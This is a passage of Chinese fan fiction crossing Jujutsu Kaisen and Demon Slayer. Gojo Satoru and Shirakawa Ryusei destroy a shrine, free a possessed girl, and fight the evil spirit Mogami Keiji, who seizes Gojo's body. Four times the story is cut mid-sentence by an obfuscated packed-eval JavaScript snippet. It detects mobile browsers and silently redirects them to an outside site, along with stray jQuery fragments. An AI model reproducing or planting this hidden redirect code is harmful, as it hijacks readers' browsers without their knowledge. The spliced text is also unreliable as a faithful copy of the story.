“我叫理子。爸爸妈妈……他们全都疯了,妈妈杀了爸爸,还要杀了我,人家就逃出来了,我好害怕,只能躲在这里。” 女孩细弱的哭声,呜呜咽咽,伴随着黑沉沉的寒意,窜上白川琉世的脊背。 “理子,已经没事了。”五条悟走过来,弯下腰,微微把墨镜推上去,目光落在女孩脸上,“好好回忆一下你父母的异常,然后告诉我们,等我们解决了这件事,你妈妈就能恢复正常了。” “真的吗?大哥哥。”理子抬眸快速扫了五条悟一眼,“都是因为这个神社!以前,大家还是好好的,自从去年,一个额头上有缝合线的阿姨,出资建造了这个神社之后,大家就变得好奇怪,村子里已经死了好多人了。” 来这里就是为了毁掉神社的两人对视一眼。 “额头上有缝合线?”五条悟感到不解,“是刚做完脑部手术,开颅了吗?” “像这样的缝合线。”理子在自己额头上横着比划了一道,下意识想要抬头去看两人,却好像害怕一样,马上低下了头。 本来不怎么在意这件事的白川琉世,经过理子的比划,忽然愣住了。 “缝合…线?等等。”白川琉世皱眉,记忆像右键属性却不显示具体位置的错乱文件,哗哗哗滑过好多模糊的画面,知道这里面有自己想要的那张,却怎么也搜不出来。 五条悟:“你见过这样的人?” “……见过?算了,反正想不起来了。” 不再过多纠结这件事,白川琉世答应理子,“我们会毁掉这里的,”他环顾四周,“看起来也不像什么正经神社。” 小小的正殿,只有一个供桌和几个蒲团,供桌上摆着的神体是一座漆黑的神龛,约莫快有理子的身高那么高,造型简朴,四角高高翘起,上面没有任何纹路,莫名给人一种压抑的感觉。 “不得不说,这里的神龛式样很正宗,和老子家里那个一样。” 五条悟面对神龛,微微皱眉。一模一样的样式,根本不算是巧合吧。 但是,每年五条家往来的人也不少,很多都去后山参拜过。 真的是巧合吗?还是…… 白川琉世:“这里就交给你破坏,我带理子妹妹先出去。” 本来带理子出去的人,由五条悟担任更加妥当,虽然很不愿意承认,但随便哪个人都比他有亲和力。 但是,两人在交换信息的沉默对视中,默认了现在的情况。 “由暗而生,比黑更黑,污浊残秽,皆尽祓禊。” 下完帐,白川琉世和女孩向外走去,跨过了朱红色的鸟居,走在通往山林的小径上。 “理子,你刚刚要我快逃,是什么意思?” “……因为村子里很危险,好多人都已经疯了。” “没报过警吗?” “已经报过警了,杀人的人也已经被带走了,但总会有新的杀人犯出现,警察也没办法。大哥哥,你们就是来解决这件事的人吧。” “怎么看出来的,真聪明啊理子。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325634|167597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 后面神社方向,传来了一声闷响,以及什么东西倒塌的声音。 两个人都没有回头,理子听到夸奖,天真地笑起来,“因为,两个大哥哥看起来都好厉害,和之前那些臭鱼烂虾一点也不一样。不过,唯一的缺点,就是太、蠢、了。” “你这样说,大哥哥很伤心啊。”白川琉世停下脚步,“虽然不知道你是个什么东西,但你一直躲避我的视线,这点太明显了,让人无法不在意。” 比起五条悟的六眼,他是眼睛有什么特别的,会让“理子”特别闪躲呢。 而且,第一次看到理子时,他们在不经意间对上了视线,那个明显变了神色,说出“快逃”的女孩,才是真正的理子吧。 自己这么害怕,还想着让陌生人快逃,占据这么善良的女孩的身体,这个家伙真是罪大恶极。 “嗯?当然是因为大哥哥太吓人了。” “理子”嘻嘻笑着,一手抓紧自己的脖子,开始收紧、用力,直到这具身体面部涨红、呼吸困难,身体下意识咳嗽不断。 “咳、咳咳。” 看到白川琉世不为所动,“理子”愤恨地松开了掐着自己的手。 “哈?你就眼睁睁看着妙龄少女被杀死?说好的咒术师是为了保护普通民众的呢?”不打算装了之后,“理子”的语气也没有那么奇怪了。 “妙龄少女?”白川琉世笑出声,“拜托了,你自我称谓这么混乱,表情也扭捏的好像抠脚大叔在强行扮演萝莉,好恶心的演技。” 他拔出一截刀,“人是不可能被自己掐死的,就算附身在别人身上也不可能。所以,赶快从人家理子妹妹身上出来吧。” “我才没那么傻。”“理子”依旧低着头,嘴角咧出诡异的弧度,“你们是不可能杀死这个女孩的。” “确实不会。” “咦?” “理子”本来死死盯着地面的视线,忽然闯入一个黑发的脑袋。那个年级不大的咒术师,正以一种诡异的姿势,弯着腰,脸朝上凑到她面前。 “既然你那么害怕我的眼睛,证明它确实能起到作用。我猜猜看,至少能让真正的理子妹妹出现。” 糟了! “理子”忙移开视线,但接触的一瞬间,已经与那双邪乎的眼睛对视了。 错不了,是一样的感觉,几乎是瞬间,他就被禁锢在女孩身体深处,动缠不得。 女孩一个激灵,再次看向白川琉世的眼睛,而对方也很配合地一直与她对视。 就是这个姿势不太对。他慢慢挺直身体,同时,两人依旧保持对视的姿势。 花了点功夫,把神社整个安安静静粉碎,只剩一个鸟居的五条悟,出来看到的就是这种场面。 “哈哈,超有意思。”五条悟拿起手机,围着两人连拍几张,“我要发给杰和硝子,七海和伊地知也发一份吧。你们两个,不可以眨眼哦。” “一直不眨眼?悟,能不能在三分钟之内想到办法。” 眼睛忽然酸起来了啊! 偏僻的山村,供奉的神祗,千年前的故事,异常的眼睛,似乎有所隐藏的五条悟,脑中似乎有条线把一切串联起来,又隐隐约约看不真切。 这是五条悟要他一起来的原因吗? “神様,请救救我妈妈吧!她不是杀人犯,并不是她想杀死爸爸的!”理子眼睛一眨不眨,努力压抑着泪水,生怕模糊了视线,“都是我身体里这个魔鬼的原因。” 15. 第 15 章 “神様?”白川琉世指了指自己,“诶?我吗?” 理子语气肯定,“那个魔鬼,就是因为神社的缘故,才被封印在这个村子的,与神様的眼睛对视,他同样被封印在我的体内了。因为他在我身体里,我能感觉得到他的异常。所以说,您就是黄泉津大人吧! 白川琉世:? 真的假的?要信吗? “不得了,琉世。”五条悟起哄欢呼,“神様~!” 不要顶着这样一张脸发神金! 一团乱麻,简直是一团乱麻! 先不管什么神様不神様的,解决下眼前的问题啊! 难道要一直玩一二三木头人,这么下去吗? “咦,琉世看起来好像要崩溃了。”五条悟伸出右手,手心贴上白川琉世的额头,拇指因为姿势的缘故,碰了一下后辈高挺的鼻峰。 没有无下限,是柔软微凉的肌肤,还带着一点甜丝丝的气味。 好像崩溃的更厉害了。五条悟默默收回手,看着颤抖了一下,然后从脸颊一直红到脖子的后辈。 突如其来的触感,让白川琉世脑袋更迷糊了。记忆忽然闪回到上次五条悟喝醉时,对他说出的那声“卡密”,还有第一次见面时,也说了这个词吧。 这些摸不着头脑的事,好像和他有关,五条悟都知道些什么呢? 理子:瞪大了双眼。 是不是应该移开视线,礼貌来说是应该移开的,但是不可以这么做! 年幼的女孩结结巴巴开始救场,“刚才那个魔鬼说的话没错,大概是去年秋天,那座神社建成后,村子里经常出现怪事,大家生病、受伤的次数变得频繁,周围的人多少都出现了情绪低落的情况。不过,那时候的大家绝对没有互相攻击,直到一个月前,这个魔鬼来到了村子,附在我身上。” 想到伤心处,女孩手忙脚乱地擦掉不断涌出的泪水,瞪大眼睛看着白川琉世,样子十分可怜。 “那个魔鬼操控大家互相残杀,操控妈妈杀害了爸爸!我都看到了!” ! 金色的黄泉瞳,微微颤动,其中的光辉好像凝固了。 “理子,不用说了,我明白了。” [妈妈,我没有爸爸吗?] [琉世,为什么这么问,是谁和你说什么了吗?] [灶门叔叔说,可以把他当做爸爸。] [你的爸爸去世了。琉世,你是很聪明的孩子,妈妈不想对你说谎。但是,没有爸爸也是可以开心地生活的。] 他重重地对绊子点头,说着嗯,我会努力开心地生活的。然后,在短暂的见面后,和妈妈分开,一个人回到山中,回到载种着漂亮紫藤花的房子。 但是,他是很聪明的孩子,知道爸爸去世的原因。 是被咒灵杀死的。 不过,说出来会让妈妈伤心,还要强行摆出笑脸安慰他这个罪魁祸首。 [琉世,这不是你的错。] 因为知道妈妈一定会这么说,所以无法和妈妈共同面对这件事。 “理子,”一双手放在女孩双肩上,沉甸甸的,用力按了按,“这不是你的错。” 看着女孩悲伤的眼睛,他说,“我们一起想办法吧。” 理子的眼睛十分酸涩,棕色的瞳孔颤抖着,源源不断地流下泪来。非常紧张,非常恐惧,不知道怎么摆脱身体里的魔鬼,不知道怎么面对已经发生的悲剧和支离破碎的家,甚至不知道自己能不能活下去。 但是,看着那双金色的眼睛,灵魂像被山间呼呼吹着的冷风刮过,精神不由自主就镇定下来了。 “我没有办法……,一直以来,他都能随意操纵我的身体,这还是我第一次能出来。” “琉世,说不定你能做到什么。”五条悟安静地站在旁边,不知道什么时候收起了笑容,“你应该也察觉到了,这次的东西不是咒灵。我对藏在别人身体里的怪东西,目前也没有办法。” 那种东西不是咒灵,无法用咒力把它赶出去,特别是在不伤害理子的前提下。如果琉世也做不了什么,他打算封印住女孩,带回高专看看。 “啊,如果这么害怕我的话。” 白川琉世按在女孩肩膀上的手慢慢收紧,呈抓握的姿势。 “像老鼠见了猫,青蛙遇到了蛇一样。” 双手像角力一样,在女孩身前的空气中,艰难地拽着什么,指缝间燃烧着黑色的烟气。 “那我一定是你的天敌。” 理子的神色急剧变化着,瞬间露出非人般狰狞的表情。 “只依靠本能,我也能杀死你!” 人出生后,要经过长大和学习才能走路,但是,有的动物生下来就能站立,有的很快就能奔跑、飞翔、捕猎。 猎人借由人类的躯壳出生,用人类的眼睛观察世界,用人类的思维思考事情,包裹在完全无害的人类身体里,獠牙与利爪是否已经钝化?看到眼前张牙舞爪的猎物,是否还会记得灵魂深处的本能? 女孩的身影脱力般向后倒去,正被在旁边的五条悟接住。 “咒、术、师。” 果然,是男人,额,男鬼。 一团黑色的影子从理子身体里冒出,犹如沸腾的墨汁,搅进鲜红的颜色,翻滚着、纠缠着,逐渐显现出人的轮廓。 “你又是什么东西?” “是邪灵。”五条悟抱着昏迷的理子,“堕落的,人类的灵魂。” “六眼也能看出来这个?”影子像被大风吹得不停起皱的塑料袋,发出人类男性的声音。 “我猜的,你认识我?”五条悟从刚才起就严肃压着的嘴角,高高地翘了起来。墨镜滑落在鼻尖上,一双天空之瞳露出来,神经质地看着那团影子。 “咒术师的老鼠爪牙,打探这里不是一天两天了,可惜,都是没见识的家伙。” “悟,这种东西怎么杀。” 白川琉世握刀,站在五条悟和理子的身前。 “一般是封印起来,送到巫女或者和尚那里超度。有些方法应该能直接打散他们,但咒力做不到。” “呼吸法可以吗?” “不知道,可以试试。不过,琉世能找到超度他的方法吧。” “虽然没有头绪,但我莫名其妙地想告诉你,可以。” “喂,你们别自顾自的,说一些让人恼火的话。” 塑料袋被风吹得更皱了,头部的地方露出一双猩红色的眼睛。一个个白色的,幽灵状的影子从邪灵虬结的根部生长出来,五官和呐喊上尖叫的小人一模一样。 多说无益,能不能打,要打过了才知道。 “悟,首先得送理子妹妹去安全的地方。”白川琉世没转头。 他听到身后人呼吸声一停,传来一声轻笑,“这是当然的了。” “安全的地方?这座山,这座城市,还是整个日本? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325635|167597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”红眼影子发出嘲笑,“既然不幸遇到我,六眼,让我看看咒术师的最强,是什么水平吧。” 铺天盖地爬满上空的黑红色影子,把明亮的月整个遮住,甚至延绵至目光所不及的天的边际。 真的假的?什么鬼。看这架势,他恐怕能毁灭一座城市。 本来以为只是个精英怪,这下出boss了? “看样子,他对我比较感兴趣。”五条悟并没有打算撤离,“感觉到了吗?琉世,那股明显的压力。” “哈哈,没感觉,就是他刚刚说话的时候,嘴巴一股咒灵的臭味,是从来不刷牙吗?” “……。” 能感受到邪灵暴涨的愤怒。 白色的影子聚成一团,向不远处的村庄涌去,邪灵则是钻入树林,一路摧枯拉朽,撞断了成片树木。无数树枝扭动、缠绕在一起,浮着黑色的烟气,像无数双手一样向两人抓来。 不仅是理子,整座山的村民也得保护起来。 日之呼吸·十一之型 日晕之龙·头舞! 刀刃高高扬起,呈现出燃烧般的红色,在空中划过一道道流畅的斩杀线。一,二,三,四,五,六!每道斩击过去,都有一片白色的影子被斩断,斩击的路线连接在一起,仿若快速飞舞的火龙。 过快的斩击,使大脑来不及为每次的挥刀计数。这种不断被释放出来的白色幽灵,很快就在斩杀下消失殆尽。 与此同时,巨大的苍蓝色能量团,与邪灵的本体狠狠撞击在一起。 啊?好像这里不在帐内? 他们早就跑出了之前下的帐的范围! 现在下还不晚吧,忘记下帐后果好像很严重。 “由暗而生,比黑更黑,污浊残秽,皆尽祓禊。” 黑色的帐覆盖了战局,与白川琉世想象中吃了一发苍就魂飞魄散的景象不同,邪灵被打得四散开来,又很快合成了一团。 五条悟不可置信地看着白川琉世,“琉世?这种时候你还想着下帐?这么喜欢下帐,以后去做辅助监督好了!” “对不起!但是我这种咒力总量,搞不好以后真的去做辅助监督。” 五条悟眼睛睁圆,一副炸毛的样子,左肩上依旧扛着瘦小的理子。 理子……,理子? 五条悟猛地看过去。 刚刚战斗的时候,他把理子扛在肩上了,因为担心女孩中途掉下去,接触女孩的肩膀和左臂没有使用无下限。 理子正颤抖着,用诡异的姿势扬起脖子,脸上布满黑沉沉的烟气。 “抓到了。” 五条悟下意识地松开手—— “悟?悟!” 远处飘飘摇摇,好不容易聚集在一起的影团,此刻愉快地重新飘散,随着女孩身上的一道阴影,一起涌入五条悟的身体中。 “哈,哈哈哈哈,哈哈哈,这就是六眼的身体。” 理子的身体摔到地上,而被邪灵占据身体的“五条悟”,闭着眼睛,虽然笑着,气质却明显变了。 “虽然不知道你是什么来头,小鬼,但闭上眼睛,六眼也能发挥作用,你能拿我怎么样。”邪灵愉快地笑着,“不过得花一点时间适应,就算我站在这里,你也毫无办法吧,你会对同伴下手吗,小鬼?” “你最好,现在,马上,给我出来。”白川琉世抬起手臂,刀刃直直指向他,一双黄泉之瞳中,翻滚着骇人的杀意与怒火。 16. 第 16 章 “悟大人并不寂寞,因为神明会一直保佑您的。” …… 大脑有一瞬间的空白,本能地从脑海中搜索记忆,但脑中的信息量仿佛要过载了。 不过,就算他不移动视线,也能看出来,那个站在他旁边的下半身是自己的。 嗯?被腰斩了。被谁?宿傩?啊,对,是宿傩啊。 宿傩应该也死了吧,听着战场上逐渐失去生命体征的另一个身体,五条悟感到久违的平静。 至少他的学生不用再去宿傩面前送死了。 我没有被神明祝福,五条悟勾起嘴角,小时候的侍女也是骗他的。真是可悲,他还相信过一段时间呢。 果然,咒术师的终点,是孤独一人死去。 六眼和大脑,渐渐失去了控制,视网膜徒留地捕捉生命最后时刻所能看到的一切景象。炎热的夏日骄阳,乏善可陈的寻常天空,被轰平了一个角的大楼楼顶,上空盘悬着的冥冥的乌鸦。他的死状会有多少人看到?风吹在皮肤上,有点热,并不舒服。背部倒着的地方有小石子,但这时候已经无所谓了。 一阵蝉鸣响起,震耳欲聋。真是盛夏啊,不管是山里还是城市,甚至这种地方,都有这么无忧无虑的鸣叫声,充满生命力的鸣叫。 六眼已经逐渐丧失了功能,大脑也在最后一刻得以休息。慢慢阖上双眼,黑暗铺陈开来。 会不会遇到走马灯呢?好想再次见到…… 二十九年的记忆汩汩流过,太长,感觉上又太短。一些画面在脑子里闪过,没有漫画里画的那样,身临其境地看到某些人,和他们聊天,互相说着辛苦了,此生无怨无悔,再见。 他只是匆匆想起一些片段,琉世成为了强者,但在某一天,说着“你并不是我期待的那个人”,从此就离开了,再也找不到任何踪迹。杰杀掉了好多普通人,成为诅咒师,最后被他杀死。七海放弃做咒术师,在社会上打工,却因为见义勇为被咒灵杀死。伊地知作为他的专属辅助监督,被总监部的人秘密处理。 学生们太年轻,他们的青春他已经参与不进去了,他的青春,也只有硝子能做见证了。 家里失去了六眼,一定很难过,老爹说不定会为了他的死本身而难过。一直以来,想要率性地活着,想轻而易举抓住幸福。但是,也想要伙伴围绕在身边,想创建一个理想的世界。 [如果人生重来一次,你会怎么选呢?] 脑中嗡嗡作响,像闪着雪花片的老电视,直到一句话清晰地在心底响起。 [是作为最强,率性地活着,轻而易举地抓住幸福。还是作为老师、工具人、出头鸟、牺牲品,作为怪物,身边围绕着不理解你,把你当做异类,只有你自认为是同伴的同伴,用自己的牺牲搭起别人通往理想国度的梯子。] [喂喂,你偏向太明显了,演都不演一下吗?] [是吗?这些可都是你自己想的。] [哈?我怎么会认为自己是怪物。] [你是,我们都认为自己是怪物。] [所以你到底是谁?] [最强。] [我才是最强。] [你被宿傩杀死了。] [宿傩也被我杀死了。我只是运气有点差,这点说起来我问心无愧。] [哈,逞强。那你就亲眼看看,你选择的可悲道路吧。] 五条悟此时的第一反应,却是如果白川琉世在,一定会用满口的网络流行语插科打诨,比如“并非可悲”,或者“有时候还是要搞笑一点,因为搞笑漫画不会死人”。 …… 并非搞笑漫画。 五条悟飘在五条家的议会厅里,长桌旁或站或坐围着一群干巴巴的烂橘子,有他家的,也有总监部的,而他本人——准确来说是尸体,却毫无遮蔽地躺在长桌上,头发散乱,脸色惨白,一双眼睛空洞地睁着。 没有眼球。 他不知道自己以什么形态飘在自己的尸体上方,存在感低到连灵魂都不如。 五条家的人正愤怒地斥责总监部的人在回收五条悟尸体时,私自取走了六眼。 他盘着腿坐在长桌上,看两拨人吵得唾沫星子横飞,场面荒谬到甚至有些好笑。过了好久,天色从白天到晚上,他都要无聊到睡着了,听到有人悄悄对旁边的人说,“差不多了,家主大人说过,如果对面答应六眼的研究成果与五条家共享,可以让步。” 父亲? 他安静地看着眼熟的五条家长老,脸上没有什么表情。 下一个画面是高专学生宿舍,几个男生正在围着寿喜锅吃晚餐。 其中一个为五条悟的死感到有点伤心,另一个拍了一下他的背,用嘲笑的口吻说,“真是装模作样啊,有必要这样吗?” “用最小的损失解决了宿傩这个麻烦,难道不该感到庆幸吗?” “五条老师,只能归类于损失吗?” 对啊,五条悟同样点点头,他可是五条老师诶,一定是超受学生欢迎的大帅哥麻辣教师。 “如果五条老师,能再强一点就好了。他不是说自己是最强吗?” “对啊,如果他再强一点,就不用让我们感觉背上了天大的人情债。” 你们倒也不欠老子什么。 做什么,都是老子自己决定的。 这种自称怎么忽然跑出来了,他已经好多年…… [哈?] 老旧电视机的嗡嗡声忽然炸开。 说起来,他的学生,叫什么名字? 眼前的一切,模糊、粉碎,成为不断闪烁的电视雪花片。 [能不能让它不要闪了!] 声音瞬间安静下来,雪花片也乖巧地消失,整个空间变得白茫茫一片。 [很敏锐,最强。] 与五条悟面对面站着的,是一个穿着绿色开衫西装,深色短发,表情忧郁的男人。 “就是你吧,一直在老子心里出声的家伙。这样很幼稚,搞的老子像精神分裂一样。” “你是怎么发现的?” “你这样就像问别人,你是怎么知道我男扮女装的。” 可恶,这两个咒术师年纪小小,嘴巴毒毒。 “搞不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325636|167597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清楚你给老子塞那么多假记忆的原因。但是,如果总监部想挖掉我的六眼,那一定会一起挖出我的脑子,咒术师比你想的更加没有人性啊,邪灵。” “原来是这种地方。” “说的好像只有一个小疏忽一样。你读我的记忆,捏造未来的经历,还敢扔到老子的脑袋里,难道你是傻子吗?哈,这种可笑的东西,根本经不起推敲。” 知道这个世界上并没有能威胁到他的敌人,就自作聪明地把千年前的老古董宿傩翻出来。 “五条悟。”邪灵面无表情地看着他,眼中带着一丝怜悯,“难道你不知道,这就是你的未来吗?” 你的未来……吗。 邪灵笃定的神色,甚至令五条悟怀疑,对方有预知未来的能力。 “废话少说吧,你现在还在老子的身体里吧,费这么大功夫搞这一套想做什么?” 真的很不耐烦了,五条悟呲着牙,狠狠皱着眉。 现在的他,使用不了任何咒力。这个家伙把他拉到这里,一定有什么目的。 “你还能一副这个样子,只不过笃定这是虚假的未来。嘛…,无所谓。”邪灵露出讽刺的笑容,“告诉你也无妨,我的名字是,最上启示。” “不认识,大概是个没有名气的家伙。”五条悟疯狂地思索名字的来源,能变成这么强大的邪灵,这个男人一定有什么来路,但是,该嘴硬的还是得嘴硬。 衣服是现代的,但现在很少有人这么穿了,应该是二三十年前流行的款式。对时尚耳濡目染的五条悟,快速下出结论。说出自己的名字,不进一步解释,就认为别人应当知道,一定是某种范围内的名人。 普通人变成的邪灵,根本不能与他相提并论。这家伙不是咒术师,这家伙是—— “你是,灵能力者?想起来了,那个电视节目里吹捧的上世纪最强灵能力者,原来不是节目包装的。”五条悟露出挑衅的笑容,“你也能称得上最强吗?” “拿最强当荣耀的幼稚小鬼。” 最上启示走近五条悟,表情不像灵体时的凶戾,更像一个平时很少出门,对一切感到忧郁的宅男。 五条悟忽然有了种真实的感受。这个人,本来就是人类啊。 “你的未来,会比你所看到的,更加可悲,你会像小丑一样,被命运愚弄,被所有人践踏。” 说话这么难听,这点更像人类了。 “这种悲惨的未来,我轻而易举就能看到。 你是不可能被人理解的,最强。你的强大是上天的诅咒,只会为你带来不幸。 你就是我,我就是你,不用捏造什么,你的未来在我面前,就像一张白纸。 人类这种虚伪的东西,仗着自己的弱小,做出不可原谅的事。适应他们庸俗的规则,祈求他们毫不可能的理解,交给他们伤害你的权力,是最可笑的事情。 你还不明白吗?没有人是你的同伴,最强的只有你一个人,整个世界只有你一个人! 你拥有绝对的孤独,绝对的力量,和绝对的自由! 五条悟,你要,怎么选择?” 17. 第 17 章 感受肺泡吸收新鲜的氧气,膨胀、壮大。感受心脏在胸腔中收缩,砰砰砰,循环往复。感受血液在血管中奔流,全身爬满麻痒与奇异的韵律感。 白川琉世心中第一次充满了如此强烈的愤怒。 对着同伴他无法扬起刀刃,只能把日轮刀翻了个面,用刀背战斗。 那个用五条悟身体来战斗的邪灵,没办法掌控六眼,无下限也时灵时不灵,就这么卑劣地藏在别人身体里,控制着别人的身体。 这种行为,不可原谅,无法原谅! 刀狠狠砸在眼前人的脖颈处,等意识到没有砍到无下限上,已经为时已晚。 日轮刀比敌人更快地撤离。 最上启示顿了一下,依旧闭着眼睛,用人类的手掌抚摸被砍出淤青的脖颈。 “悟,你把他,怎么样了?” 那完全不是五条悟,五条悟从没有露出过这种表情,阴郁、暴戾。就算是面无表情,他认识的五条悟眉目间也始终是轻松舒展的。 最上启示指了指太阳穴,“在这里。根据他的记忆,我为他创造了一个乐园,嗯,恐怖乐园。不管是画面还是时间的流速,完全都为我掌控。本世纪最强咒术师五条悟,正沉浸式体验他荒诞的人生。你猜他什么时候能挣脱出来?” 就在这片刻间的时间里。 他一个人,在那种家族里被众星拱月着长大,还要跑去东京咒高上学。 这么不喜欢忍耐孤独的人…… “邪灵,做这种恶心的事到底有什么意义?你真是比咒灵还恶心啊。” “意义?那个可悲的小鬼,还有机会选择正确的路,你为什么那么确定你的阻拦有意义?” “啊?他和你到底有什么关系?谁准许你自作主张这么做的?” 最上启示坐在瓦砾堆上,轻笑了一声。他正处在一个谁也没办法攻击他的bug时刻,所以才能毫无负担地,放空了一会自己的大脑。 他或许可以直接杀死这个少年,按理说应该可以。这个叫琉世的少年,还没有成长为被他看得上眼的强者。但是,老鼠看到猫的第一眼,是不会认为自己能杀死猫的。 把自己比喻成老鼠十分令人不爽,但本能确实如此。猫或许在老虎、狮子眼里依然脆弱,但对于他来说,是不可与之为敌的。 少年给他的感觉,像看着藏在笼子里的老鼠的猫。 神?别开玩笑了,这个世界如果有神,还不如没有,那种从来不起作用的东西。 “你到底是谁?” 明明更强的是被他占据身体的小鬼,但这个小鬼才是令他感到恐惧的那个,可恶,明明他一只手就能…… “白川琉世,咒术高专一年级生,人类,没什么特别的。相反,那才是我要问的话吧,你到底是谁?” …… 与此同时,醒来的五条悟也在他大脑里吵吵闹闹,逼问他的来历。 “告诉你也无妨,我的名字是,最上启示。” “不认识。” 脑海中和眼前的两人齐声说。 最上启示:……。 他没办法触碰白川琉世的灵魂,没办法附身,一时也无法杀死他。对于五条悟,杀掉有些可惜,趁他松懈附身后,发现也不是个省油的灯。 好烦,双开真烦。 “你不会上网搜一下吗?手机没坏吧!”耐心全给了需要劝说的五条悟,对站在面前的白川琉世,最上启示甚至发起了脾气。 白川琉世气得咬牙,掏出手机搜索最上启示,然后扫视着搜出来的几个零星消息。 “你没有你想象的那么出名,大叔,而且几十年前根本没有网络,现在也没什么人讨论你了。莫名其妙跳出来,擅自打扰别人的生活,你以为你是那种时髦值很高的悲情boss吗?那种人在漫画里可以被原谅,现实生活中学他们,你也已经过了中二的年纪了吧?” 好烦,这两个家伙嘴巴好毒,真想干脆出来和他俩大打一架。 [你的强大是上天的诅咒,只会为你带来不幸。] “妈妈生病去世确实是挺不幸的,你自杀的理由不会是这个吧?” “和你有什么关系,住口!” “是你叫我搜的!不搜还不知道呢。” [……交给他们伤害你的权力,是最可笑的事情。] 白川琉世嘀嘀咕咕地,有一搭没一搭地念着手机上的字,“……灵能者协会举办了盛大的悼念仪式,称未曾察觉到最上启示的变化。啊,还有那个经典话术,有人说你平时看起来挺开朗呢,好好的人不知道为什么就自杀了。” [你还不明白吗?没有人是你的同伴,最强的只有你一个人,整个世界只有你一个人!] “嗯?为了给母亲治病接暗杀任务?”少年狂按手机下位键,捕捉着关键信息,“你死前成分这么复杂?” 看完所有的信息,白川琉世合上手机,不知道什么时候也半跪在瓦砾堆上。最上启示好像泵机了一样,一动不动,或许是悟那边给他带来了很大的麻烦。 做得好,悟。 “最上,不管是咒灵还是邪灵,只要不断进食不就行了吗?不知道你们的食谱有什么区别,但那样才对吧。你应该想吃了我们,而不是跑去别人的身体里做这种无聊的事。 不过,换个角度想,你也像人类一样,有自己的思维和感受。” 大家都认为受害者才有被拯救的资格,转化为加害者的受害者,处境就完全不一样了。特别是只有活人才有未来,而最上已经死了很久了。 但是…… “我认为只要能思考,会感到痛苦的东西,都拥有未来。不过,到底是怎样的未来,就看你自己了。” 对面的最上启示依旧沉默着,不再回应他的话。 白川琉世抬头望了眼天空,入眼是一片更加厚重的黑,被最上启示的灵压遮蔽的月亮,不知何时重新高悬空中。 [……,你要,怎么选择?”] “最上,如果还有机会,你要怎么选择?” 风变得和缓,并且富有节奏,脚好像泡在清凉的水里一样非常舒适。最上启示暂停了思考,开始疑惑五条悟的身体是不是没穿鞋。然后他赫然发现,那同样令人舒适的风,并非吹在皮肤上,而是刮透了灵魂。 他猛地睁开眼。 似乎无法再用属于五条悟的大脑思考,但六眼发挥了最后一点余力,过度收集环境中的信息,最上启示感到眩晕。 “当然是选C了,老子为什么一定要从A和B里面选啊。” 就连单项选择都有四个选项,他的人生为什么一定是非此即彼的。 “琉…世?” 由自己的口中说出这句话,以及脖子那里少见的疼痛,五条悟却并没有回到自己身体的实感,他眼睛眨也不眨地看着眼前少年的脸。 距离很近,半跪着的白川琉世,立领校服同样遮住了一点下巴。俊美的脸型,脸颊到下巴的线条很好看,运气好大概会被星探搭讪去做模特或者演员。五条悟第一次这么近距离地看着对方的脸,尤其是那双眼睛,拥有本自具足的坦然,以及此时此刻能把他牢牢钉在原地的威严。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325637|167597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 那双黄泉瞳正目不转睛地,仿佛世间一切都不存在一样盯着他。 他和对方的鞋子都泡进了流动的河水中。一条一眼望不到头,安静流动的河,延绵至视线的尽头。河的两岸是黑色的泥土,岸上开着大片大片的红色花朵。他们所在的地方,正在河的中间,突兀地冒出一堆瓦砾和树枝堆成的高地。 天空黑沉沉的,不似平常夜晚天空的深蓝、孔雀蓝色,而是完完全全的黑色。高悬的月亮照亮了一切,光线明净又温柔。白川琉世的背后,耸立着一座巨大的神龛,大概三层楼的高度,黑色的古朴式样,四角高高翘起,那位往他脑子里塞垃圾的最上启示,正被锁在巨大的神龛上。 “效率很高,琉世。” “回来了,悟。” “这是属于神的‘生得领域’吗?” 实际上,如果是咒力构筑的生得领域,六眼能看到咒力流动的痕迹。然而,他的眼睛看不透这个安静到诡异的空间。 